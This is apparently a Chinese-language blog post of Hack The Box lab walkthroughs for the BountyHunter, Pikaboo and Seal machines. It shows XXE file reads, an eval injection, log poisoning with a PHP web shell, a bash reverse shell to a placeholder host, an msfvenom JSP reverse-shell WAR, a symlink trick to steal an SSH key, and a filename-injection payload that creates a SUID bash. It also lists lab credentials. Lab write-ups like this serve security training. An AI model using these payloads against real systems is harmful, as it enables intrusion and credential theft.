HTB TwoDots Horror
HTB Bolt Machine [MEDIUM]
HTB Horizontall Machine [EASY]
HTB WAFfle-y Order
HTB Writer Machine [MEDIUM]
HTB Previse Machine [EASY]
HTB BountyHunter Machine [EASY]
BountyHunter

端口扫描
1 | PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
User
网站主页发现如下注释:

To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.
dirsearch使用字典directory-list-2.3-medium.txt发现如下目录
1 | [04:33:35] Starting: |
/resources目录的README.txt包含待办任务列表
1 | [ ] Disable 'test' account on portal and switch to hashed password. Disable nopass. |
从首页的PORTAL进入portal.php,portal.php页面存在一个到http://10.10.11.100/log_submit.php的链接


查看log_submit.php页面加载的bountylog.js,可以看到上图填写的表单数据将转换为XML格式并进行Base64编码后提交
1 | function returnSecret(data) { |
tracker_diRbPr00f314.php存在XXE,编写如下Bash脚本方便利用XXE读取文件
1 | #!/bin/bash |
通过PHP wrapper读取PHP文件源码,经过一些尝试找到文件db.php,使用xxe.sh php://filter/convert.base64-encode/resource=db.php读取其内容,将得到的Base64编码的字符串解码后得到密码m19RoAU0hP41A1sTsq6K
1 | <?php |
读取/etc/passwd可以得到用户名development,使用development:m19RoAU0hP41A1sTsq6K登录SSH
1 | development@bountyhunter:~$ cat user.txt |
Root
执行sudo -l,发现development能够以root权限执行命令/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
1 | development@bountyhunter:/bin$ sudo -l |
/opt/skytrain_inc/ticketValidator.py中能够导致提权的关键代码如下
1 | if code_line and i == code_line: |
当x变量的值为**11+__import__('os').system('/bin/bash -p')时,将执行eval("11+__import__('os').system('/bin/bash -p')"),最后以root权限运行bash
在/home/development目录创建名为exp.md的文件,内容如下
1 | # Skytrain Inc |
执行sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py,输入exp.md所在路径/home/development/exp.md,成功得到root权限
1 | development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py |
HTB Pikaboo Machine [HARD]
Pikaboo

端口扫描
1 | PORT STATE SERVICE REASON VERSION |
User Flag
FTP服务无法匿名登录,先看看Web部分

Nginx/1.14.2服务器设置为反向代理,实际请求由侦听在127.0.0.1:81的Apache/2.4.38处理

后端语言为PHP,浏览网页找到的路径有
/index.php/pokatdex.php/pokeapi.php/admin*/images/artwork
其中/admin*要求Basic认证
1 | $ curl 'http://pikaboo.htb/admin' -I |
/pokeapi.php有一个id参数,但无论怎么填写,返回的页面都提示"PokeAPI Integration - Coming soon!"

/images/返回403,但在请求/images时的302响应中泄露了Apache的一个路径/pokatdex
1 | $ curl 'http://pikaboo.htb/images' |
根据/admin*路径的行为(*通配符代表/admin之后的部分可以任意匹配),推测Nginx针对/admin的location为
1 | location /admin { |
这条location规则可以通过/admin../实现路径穿越
结合前面/images的302响应中泄露的路径/pokatdex,可以构造URL:http://pikaboo.htb/admin../pokatdex/
浏览该URL,返回的页面与http://pikaboo.htb/相同

这说明http://pikaboo.htb/admin../pokatdex会被Nginx转发到http://127.0.0.1:81/pokatdex/../pokatdex,因此存在路径穿越
既然现在可以访问Apache服务器的/目录,那么来枚举一下/目录中有哪些文件/目录,使用的字典为apache.txt
1 | $ rustbuster dir -u http://pikaboo.htb/admin.. -f -e php,txt,bak,xml -w /usr/share/seclists/Discovery/Web-Content/apache.txt -t 64 -k -S 404 |
查看/server-status,在页面中找到路径/admin_staging

浏览http://pikaboo.htb/admin../admin_staging/,页面如下

点击左侧”User Profile”,页面跳转到http://pikaboo.htb/admin../admin_staging/index.php?page=user.php,该URL的page参数可能存在LFI
访问http://pikaboo.htb/admin../admin_staging/index.php?page=../pokatdex/index.php成功加载/pokatdex/index.php文件

使用php://filTer/convert.base64-encode/resource=index.php读取当前页面源码,发现page参数直接作为include的参数,也就是include的文件路径没有任何限制
1 | if(isset($_GET['page'])) { |
尝试从LFI到RCE,试过/etc/passwd和各种Web服务器日志文件路径,全都无法读取(php-fpm的配置限制了这些文件所在目录的访问权限?),只有vsftpd的日志文件/var/log/vsftpd.log可以读取

使用ftp命令,输入<?php echo system($_GET['cmd']); ?>作为用户名,令该用户名写入/var/log/vsftpd.log日志中

访问http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=whoami测试是否生效

执行bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4242 0>%261',获得Reverse Shell(目标主机经常清理/var/log/vsftpd.log,如果没有得到shell,可以重复ftp步骤)

读取/home/pwnmeow/user.txt获取user flag
1 | www-data@pikaboo:/$ cat /home/pwnmeow/user.txt |
Root Flag
查看/etc/vsftpd.conf,发现vsftpd通过LDAP进行身份认证
1 | virtual_use_local_privs=YES |
找了半天在/opt/pokeapi/config/settings.py文件中找到LDAP服务的用户名和密码(运行linpeas.sh -a没有提示settings.py,因为/opt不在linpeas.sh的默认密码查找目录列表中,尽管/opt/pokeapi/config/settings.py中有PASSWORD关键词)
1 | DATABASES = { |
使用用户名cn=binduser,ou=users,dc=pikaboo,dc=htb和密码J~42%W?PFHl]g获取LDAP中pwnmeow用户的密码
1 | www-data@pikaboo:/$ ldapsearch -LLL -W -x -H ldap://127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -b 'ou=users,dc=ftp,dc=pikaboo,dc=htb' |
Base64解码userPassword的值得到pwnmeow的密码为_G0tT4_C4tcH_'3m_4lL!_
1 | www-data@pikaboo:/$ echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d |
目标主机cron service会定期以root权限运行/usr/local/bin/csvupdate_cron,csvupdate_cron脚本代码如下
1 | #!/bin/bash |
该脚本对/srv/ftp的每个子目录执行/usr/local/bin/csvupdate {SUBDIR} *csv,csvupdate脚本代码如下(经简化)
1 | use strict; |
csvupdate的参数分为两部分
1 | csvupdate [type] [csv_file]... |
type参数用于从$csv_fields表中查找字段数,例如type=abilities时,$csv_fields{$type}得到的字段数为4('abilities' => 4)csv_file参数可以传入任意数量,csvupdate读取并解析csv_file指向的文件
csvupdate通过for(<>)依次读取这些csv_file的内容,调用$csv->parse($_)解析CSV格式内容,然后判断CSV的字段数是否与type要求的字段数相同,如果相同则CSV文件的内容会被写到/opt/pokeapi/data/v2/csv/${type}.csv中
可被用来提权的点就在for(<>),for(<>)实际会调用open函数,而Perl中的open函数可以用于执行系统命令,相关细节参考
要利用open的这一特性需要该函数的文件名参数可控,在csvupdate脚本中该文件名参数就是csv_file,而pwnmeow用户所属ftp组,具有上传文件到/srv/ftp子目录的权限
通过上传后缀为csv的Payload文件名到任意/srv/ftp子目录中,可由csvupdate_cron脚本将文件名作为csv_file参数传递给csvupdate脚本,最终csvupdate的for(<>)调用open函数并传入该Payload
执行以下命令在本地创建Payload,该Payload中的命令用于拷贝bash到/srv/ftp,并设置/srv/bash的SUID位
1 | touch ' | cp $(which bash) .. | bash -c ''chmod +s "..$(echo -e \\x2f)bash"'' | csv' |
然后使用凭据pwnmeow:_G0tT4_C4tcH_'3m_4lL!_登录FTP服务,执行以下命令上传该Payload文件
1 | ftp> cd types |
最后,执行/srv/ftp/bash -p获得root权限
1 | $ /srv/ftp/bash -p |
附加
PHP的/etc/php/7.3/apache2/php.ini中设置open_basedir为/var/(/var添加/结尾代表仅允许访问/var目录。如果结尾不加/,则只允许访问以/var开头的路径,例如像/variable/file这样的路径也是可以访问的)
1 | open_basedir = /var/ |
Apache的日志文件权限设置为只有root或adm组的用户可读
1 | bash-5.0\# ls -la /var/log/apache2/access.log |
所以才无法读取/etc/passwd和Apache的日志
参考
HTB Seal Machine [MEDIUM]
端口扫描
1 | $ rustscan --accessible -a 10.129.139.79 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn |
443 Port
枚举443端口的目录与文件
1 | $ rustbuster dir -u https://seal.htb/ -f -e php,txt,json,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 404 -k |
https://seal.htb/manager/为Tomcat Manager,/manager/text需要认证才能访问https://seal.htb/admin/dashboard*响应状态码为403/manager/html与/dashboard均由Nginx返回403页面

8080 Port
8080端口部署了GitBucket,访问后跳转到登录页面

注册并登录后,发现root的2个Git存储库

seal_market存储库中是443端口上部署的Web应用的源码以及配置文件,而在该存储库中可能有Tomcat Manager的凭据

Git历史提交记录如下

User Tomcat
在描述为“Updating tomcat configuration”的Commit中找到用户名与密码

1 | <user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/> |
根据tomcat用户的roles=manager-gui,admin-gui,我们只能用该用户访问/manager/html和/manager/status页面,但是对于/manager/html页面会直接返回403,无法进行认证
在描述为“Updating nginx configuration”的Commit中找到对nginx.conf的修改,发现Nginx会验证客户端,但我们可以使用.;/进行绕过,URL为https://seal.htb/manager/.;/html

当URI为/manager/.;/html时,Nginx匹配到如下location,直接将请求转发到Tomcat

请求被转发到Tomcat后,Tomcat会将/manager/.;/html理解为/manager/./html,最终返回/manager/html页面
使用前面的凭据通过认证后,接下来部署我们的reverse_shell.war到服务器上
首先,使用msfvenom生成revshell.war
1 | $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4242 -f war -o revshell.war |
在/manager/html上传并部署revshell.war

需要注意的是,这里要在Deploy请求的URL中添加.;/,否则还是会返回403

也可以不用Burp,直接修改HTML中form表单的URL即可
部署完成后,到reverse shell的URI显示在/manager/.;/html页面中

运行nc侦听在4242端口,访问https://seal.htb/revshell得到shell

User Luis
在/opt/backup/playbook/run.yml中发现playbook会将/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下的文件备份到/opt/backups/files,并压缩为GZ文件
1 | tomcat@seal:/opt/backups/playbook$ cat run.yml |
如果在/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下创建符号链接,则能够以运行该备份任务的用户的权限读取特定文件
查看dashboard及其子目录的写入权限
1 | tomcat@seal:/opt/backups/playbook$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard |
我们具有对/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads目录的写权限,执行以下命令创建到/home/luis/.ssh/id_rsa的符号链接
1 | ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa |
等待1分钟后,将/opt/backups/archives目录下最新的备份文件解压,读取luis的id_rsa
1 | cp archives/backup-2021-07-12-09\:50\:34.gz /tmp/backup.gz |
SSH登录luis用户,读取user.txt
1 | luis@seal:~$ cat user.txt |
Root
执行sudo -l发现luis可以以root权限执行/usr/bin/ansible-playbook
1 | luis@seal:~$ sudo -l |
我们可以参考/opt/backups/playbook/run.yml编写一个备份/root目录的playbook
将以下内容写入exp.yml,执行命令sudo /usr/bin/ansible-playbook exp.yml
1 | - hosts: localhost |
最后解压/tmp/root.gz,读取root.txt
1 | gunzip root.gz |